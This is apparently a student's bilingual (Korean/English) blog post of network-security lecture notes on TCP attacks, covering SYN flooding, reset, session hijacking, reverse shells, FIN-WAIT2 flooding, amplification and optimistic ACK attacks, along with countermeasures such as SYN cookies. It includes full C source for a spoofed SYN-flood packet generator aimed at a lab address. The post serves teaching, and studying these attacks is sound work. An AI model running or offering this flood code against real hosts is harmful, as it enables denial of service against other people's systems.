Attacks on the TCP protocol
TCP client and server programming
Recap: TCP Client Program
Create a socket
specify the type of communication. TCP -> SOCK_STREAM/ UDP -> SOCK_DATAGRAM
Inititae the TCP connection
Send data
Recap: TCP Sercer Program
1. 소켓 생성
2. 주소 bind
- App needs to register a port number on its host computer.
- the packet arrives at the host -> the OS knows which App is the receiver based on the port number.
- The server needs to tell the OS which port it is using
3. connection 대기(listen)
- App calls listen() to infrom the OS that the App is ready to accept clients.
- connection request is received -> the OS will go through the 3-way handshake.
- The established conn. is placed in the queue -> waiting for App to take (i.e., accept) it
4. connection 요청 수락 (accept)
- extracts the first connection request from the queue -> creates a new 'connection' socket, and returns the socket descriptor
5. 데이터 교환
- connection is established and accepted -> both side can send and recieve data using this new socket
Recap: TCP Data Transmission
To accept multiple connections :
fork() system call creates a new process by duplicating the calling process.
On success, the process ID of the child process is returned in the parent process and 0 in the child process.
Line 1 and Line 2 executes child and parent process respectively.
- 연결 수립 -> 각 OS가 두 buffer 할당(for sending/ receiving)
- 데이터 전송 -> 패킷 직접 생성X, buffer에 쓰기만
- 각 octet: sequence number O, TCP header에는 payload의 첫 번재 octet의 sequence number 표기
-> 수신 측: receive buffer 내 순서 맞추는데 사용 + Acknowledgement- Suppose Seq. #=x, SS=100. Then, Ack #=?
- 수신 buffer에 도착한 패킷들: 순서 정렬 -> data stream (no boundary)형태로 application으로 전달
- 수신 buffer에 데이터가 충분X OR waiting time 이전 -> block 상태로 application의 접근을 막음 (block)
- 수신 buffer: 데이터 도착 후 바로 unblock X
충분한 data 기다림 OR 일정waiting time이 지남 -> application을 unblock (성능 상의 이유)
- 수신 buffer: 데이터 도착 후 바로 unblock X
Recap: TCP Header
TCP Segment: TCP Header + Data
- Source and Destination port (16 bits each): Specify port numbers of the sender and the receiver.
- Sequence number (32 bits)
- Specifies the sequence number of the first octet in the TCP segment.
- If SYN bit is set, it is the initial sequence number.
- Acknowledgement number (32 bits)
- Contains the value of the next sequence number expected by the sender of this segment.
- Valid only if ACK bit is set.
- Header length (4 bits)
- Length of TCP header is measured by the number of 32-bit words in the header, so we multiply by 4 to get number of octets in the header.
- Reserved (6 bits): This field is not used.
- Code bits (6 bits): There are six code bits, including SYN,FIN,ACK,RST,PSH and URG.
- Window (16 bits)
- Window advertisement to specify the number of octets that the sender of this TCP segment is willing to accept.
- The purpose of this field is for flow control. (vs. MSS)
- Checksum (16 bits)
- The checksum is calculated using part of IP header, TCP header and TCP data.
- Urgent Pointer (16 bits)
- If the URG code bit is set, the first part of the data contains urgent data (do not consume sequence numbers).
- The urgent pointer specifies where the urgent data ends and the normal TCP data starts.
- Urgent data is for priority purposes as they do not wait in line in the receive buffer and will be delivered to the applications immediately.
- Options (0-320 bits, divisible by 32)
- TCP segments can carry a variable length of options which provide a way to deal with the limitations of the original header.
Opitons: MSS in three-way handshake
TCP SYN flooding attack
TCP three-way handshake
- SYN packet
- 클라이언트: 임의로 생성된 x를 시퀀스 넘버로 사용하여 special packet인 SYN 패킷 서버에 전달
- SYN+ACK Packet
- 받으면 -> 서버: 임의로 생성된 y를 시퀀스 넘버로 사용하여 응답 패킷 보냄
- ACK packet
- 클라이언트: handshake 끝내기 위해 ACK 패킷 보냄
서버: 초기 SYN 패킷 받으면 -> Transmission Control Block(TCB)라고 불리는 data structure 사용 -> 연결 정보 저장
ㄴ아직 연결 완료된 경우X (half-open connection, only client-server direction)
/ 서버: TCB -> half-open connection queue에 저장_클라이언트로부터 ACK 받음 -> queue에서 제거
/ ACK 도착X -> SYN + ACK 패킷 재전송_ACK 기다려도 도착X -> (time-out) TCB 버림
일반적 Dos attack) 공격자 < 서버 자원 -> 공격자는 서버의 Achilles' heel 찾아 자원 집중 필요
Idea
all half-open connection은 서버의 queue에 저장
/ queue 가득 채워 더 이상 새로운 half-open connection에 대한 TCB 저장할 공간 제거
-> 서버 새로운 SYN 패킷 받아들이지 못하도록 함
Steap to achieve this
1. Continuously send a lot of SYN packets to the server. This consumers the space in the queue by inserting the TCB record
2. Do not finish the 3rd step of handshake as it wil dequeue the TCB record
TCB dequeue 조건
1. Three-way handshake 정상적 마침
2. Time out 시간 동안 queue에 계속 머물러 있음
3. half-open connection에 대해 RST 패킷 수신
flooding the target server -> 공격자 랜덤 소스 IP address 필요/ 공격 방화벽에 의해 차단 가능
- 서버가 보낸 SYN+ACK 패킷 삭제 가능 -> 위조된 IP 주소가 컴퓨터에 할당되지 않을 수 있음
임의로 만든 IP주소에 대한 기기가 존재하는 경우 RST packet 보내지고 TCP는 dequeue - 2번 option 발생 가능성 ↓ -> TCB 레코드는 거의 queue에 있어서 SYN Flooding Attack 발생
Before Attacking
TCP States
LISTEN: waiting for TCP connection.
ESTABLISHED: completed 3-way handshake
SYN_RECV: half-open connections
Launch the Attack
Results
Using netstat command, we can see that there are a large number of half-open connections on port 23 with random source IPs.
Using top command, we can see that CPU usage is not high on the server machine. The server is alive and can perform other functions normally, but cannot accept telnet connections only.
Launch with Spoofing Code
We can write our own code to spoof IP SYN packets.
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#define DEST_IP "10.0.2.69"
#define DEST_PORT 80 // Attack the web server
#define PACKET_LEN 1500
/* TCP Header */
#define TH_FIN 0x01
#define TH_SYN 0x02
#define TH_RST 0x04
#define TH_PSH 0x08
#define TH_ACK 0x10
#define TH_URG 0x20
#define TH_ECE 0x40
#define TH_CWR 0x80
#define TH_FLAGS (TH_FIN | TH_SYN | TH_RST | TH_ACK | TH_URG | TH_ECE | TH_CWR)
#define TH_OFF(th) (((th)->tcp_offx2 & 0xf0) >> 4)
struct tcpheader
{
u_short tcp_sport; /* source port */
u_short tcp_dport; /* destination port */
u_int tcp_seq; /* sequence number */
u_int tcp_ack; /* acknowledgement number */
u_char tcp_offx2; /* data offset, rsvd */
u_char tcp_flags;
u_short tcp_win; /* window */
u_short tcp_sum; /* checksum */
u_short tcp_urp; /* urgent pointer */
};
/******************************************************************
Spoof a TCP SYN packet.
*******************************************************************/
int main() {
char buffer[PACKET_LEN];
struct ipheader *ip = (struct ipheader *)buffer;
struct tcpheader *tcp = (struct tcpheader *)(buffer + sizeof(struct ipheader));
srand(time(0)); // Initialize the seed for random # generation.
while (1) {
memset(buffer, 0, PACKET_LEN);
/*********************************************************
Step 1: Fill in the TCP header.
**********************************************************/
tcp->tcp_sport = rand(); // Use random source port
tcp->tcp_dport = htons(DEST_PORT);
tcp->tcp_seq = rand(); // Use random sequence #
tcp->tcp_offx2 = 0x50;
tcp->tcp_flags = TH_SYN; // Enable the SYN bit
tcp->tcp_win = htons(20000);
tcp->tcp_sum = 0;
/*********************************************************
Step 2: Fill in the IP header.
**********************************************************/
ip->iph_ver = 4;
ip->iph_ihl = 5;
ip->iph_ttl = 50;
ip->iph_sourceip.s_addr = rand(); // Use a random IP address
ip->iph_destip.s_addr = inet_addr(DEST_IP);
ip->iph_protocol = IPPROTO_TCP; // The value is 6.
ip->iph_len = htons(sizeof(struct ipheader) + sizeof(struct tcpheader));
// Calculate tcp checksum
tcp->tcp_sum = calculate_tcp_checksum(ip);
/*********************************************************
Step 3: Finally, send the spoofed packet
**********************************************************/
send_raw_ip_packet(ip);
}
return 0;
}
Spoofing Packets Using Raw Sockets
Note on using Scapy Code
- We tried to use Scapy program to construct and send SYN flooding packets. Unfortunately, Scapy is too slow
- From Wireshark, we can see that there are many reset packets coming back from the spoofed computers. Each reset packet causes the victim server to remove a half-open connection from its queue, undoing the damage caused by our SYN flooding attack
- Basically, we are competing with these reset packets. To win, the number of SYN flooding packets sent out during a period must be significantly more than the number of reset packets coming back from the spoofed hosts. The speed of Scapy code simply cannot satisfy this requirement
Countermeasures
Bad Solution
- Increase backlog queue size
- Decrease timeout
Idea: Don't store SYN requests
- Only store Accepted connections (after the 3-handshake protocol is completed)
- No Queue present, so cannot be flooded
- Will not work in terms of Security
- Since SYN requests are not stored, we cannot verify validity of ACK packets
- Send spoofed ACK packets, to flood the Accept-Queue
- -> Problem => ACK flooding attack
:SYN Cookies
- [Bernstein, 1996]
- Now a standard part of Linux and FreeBSD
- In Ubuntu, the countermeasure is enabled by default
- After a server receives a SYN packet, it calculates a keyed hash (H) from the information in the packet using a secret key that is only known to the server
- This hash (H) is sent to the client as the initial sequence number from the server.
H is c alled SYN cookie_IP addresses, port number, and sequence number - The server will not store the half-open connection in its queue
- This hash (H) is sent to the client as the initial sequence number from the server.
- If the client is an attacker, H will not reach the attacker
- If the client is not an attacker, it sends H+1 in the ACK field
- The server checks if the number in the ACK field is valid or not by recalculating the c ookie
Recap: Closing a TCP Connection
To disconnect a TCP connection
A sends out a “FIN” packet to B. B replies with an “ACK” packet. This closes the A-to-B communication. Now, B sends a “FIN” packet to A and A replies with “ACK”.
Using Reset flag
One of the parties sends RST packet to immediately break the connection. "delete all your local state, because I don't know what you're talking about"
TCP Reset Attack
Captured TCP Connection Data
TCP Reset Attack on Telnet Connection
TCP Reset Attack on SSH connections
TCP Reset Attack on Video-Streaming Connections
Guessing the Sequence Number (with sniffing)
TCP Session Hijacking Attack
What Command Do We Want to Run
Session Hijacking: Steal a Secret
Launch the TCP Session Hijacking Attack
Creating Reverse shell
- The best command to run after having hijacked the connection is to run a reverse shell command.
- To run shell program such as /bin/bash on Server and use input/output devices that can be controlled by the attackers.
- The shell program uses one end of the TCP connection for its input/output and the other end of the connection is controlled by the attacker machine.
- Reverse shell is a shell process running on a remote machine connecting back to the attacker.
- It is a very common technique used in hacking.
Defending Against Session Hijacking
- Making it difficult for attackers to spoof packets
- Randomize source port number
- Randomize initial sequence number_Not effective against local attacks
- Encrypting payload – IPSec
TCP FIN-WAIT2 Flooding Attack
- There is no limit on the amount of time that a TCP will remain in the FIN_WAIT 2 state
- Attack: Create a large number of connections with a server. Force the server to close connections, and then ignore the connection after CLOSE_WAIT
- This results in memory exhaustion attacks
- Since the application has terminated the connection
=> Memory exhaustion takes place in the kernel (TCP stack) and not in the application
- Countermeasures for FIN-WAIT2 Flooding
- Enforce limits on the duration of FIN-WAIT2 state_If FIN does not arrive, then abort connection
- Enforce limits on the number of connections with no user-space controlling process
- Setting a maximum number of on-going connections
TCP Amplicaiton Attack
Amplification Distributed Denial-of-Service (DDoS) Attacks_UDP-based amplication attack are discussed
Attacker -> Amplifiers -> Victim
TCP and Reflection
TCP suffers from amplification vulnerabilities
TCP Optimistic ACK Attack
Idea
Increase sending rate by ACKing data that has not been received yet (I could ACK early! “optimistically”)
- 무조건적 ACK 보냄 -> failure issue가 없는 것처럼 속임
- 혼잡제어는 전송이 성공 -> 한 번에 전송하는 패킷량이 ↑ 하도록
- 수신자가 받지 못해도 계속해서 전송이 성공했다고 여기도록
Optimistic ACK's Amplification Factor
Summary
- TCP client and server programming
- 소켓 프로그래밍
- TCP SYN flooding attack
- SYN만 전송하고 마지막 ACK 보내지X
- TCP Reset attack
- TCP header 값 예측 -> RST 패킷 보냄 -> 연결 강제 종료
- TCP Session Hijacking attack
- Sequence number 예측 -> 원하는 데이터를 client가 전송한 것처럼 삽입
- Reverse shell
- TCP FIN-WAIT2 Flooding Attack
- FIN-WAIT2 상태에 머무르도록 마지막 FIN 보내지X
- TCP Amplification Attack
- Amplifier가 곡역자가 victim의 주소로 보낸 패킷에 계속 응답하도록 함
- TCP Optimistic ACK Attack
- 무조건적인 ACK -> TCP 혼잡제어 기법 역이용
'Computer Science > 네트워크' 카테고리의 다른 글
[Network Security] Firewall (0) | 2022.11.22 |
---|---|
[Network Security] Sniffing and Spoofing Part 1 (0) | 2022.10.22 |
[Network Security] DNS and DNS attack (0) | 2022.10.12 |
[TCP/IP Networks] 8. TCP Connection Establishment and Termination (0) | 2022.10.06 |
[TCP/IP Networks] 7. TCP: Transmission Control Protocol (0) | 2022.10.01 |